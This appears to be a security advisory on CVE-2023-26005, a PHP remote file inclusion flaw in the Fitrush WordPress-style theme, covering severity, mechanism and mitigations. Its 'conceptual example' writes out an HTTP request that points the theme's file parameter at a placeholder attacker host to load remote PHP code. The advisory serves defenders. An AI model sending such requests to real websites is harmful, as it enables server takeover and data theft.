Overview
CVE-2023-26005 is a serious cybersecurity vulnerability that has been identified in the BZOTheme Fitrush theme for PHP-based websites. This vulnerability is of particular concern due to its ability to potentially compromise entire systems or lead to significant data leakage. The susceptibility arises from an improper control of filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion’. It affects Fitrush versions up to 1.3.4. Given the widespread use of PHP and its associated themes in web development, this vulnerability has the potential to impact a large number of websites and systems, posing serious security risks for businesses and individuals alike.
Vulnerability Summary
CVE ID: CVE-2023-26005
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
BZOTheme Fitrush | Up to 1.3.4
How the Exploit Works
The vulnerability arises from the PHP program’s improper control of filenames for Include/Require statements, specifically within the BZOTheme Fitrush theme. Essentially, an attacker can manipulate these statements to inject and execute arbitrary PHP code on the server. By doing so, they can gain unauthorized access to the server, potentially leading to a full system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request that an attacker could use to inject malicious code:
GET /path_to_fitrush_theme?file=http://malicious_source/malicious_code.php HTTP/1.1
Host: vulnerable_website.com
Accept: */*
User-Agent: Mozilla/5.0In this example, the attacker would replace “malicious_source” and “malicious_code.php” with the actual source and PHP file containing the malicious code.
Mitigation
To mitigate this vulnerability, users of BZOTheme Fitrush should apply the latest vendor patch as soon as it becomes available. In the meantime, or in case the vendor patch cannot be applied immediately, users can rely on Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDSs) to help detect and prevent attempts to exploit this vulnerability.
It’s also recommended to disable the use of URL to specify include files in the PHP configuration, and to only use local files for inclusion or requirement. This can be done by setting allow_url_include = Off in the php.ini file.
Cybersecurity is a continuous process, and it’s important to stay updated with the latest threat information and apply necessary security measures promptly. Always ensure that your systems and applications are up-to-date with the latest patches and security configurations.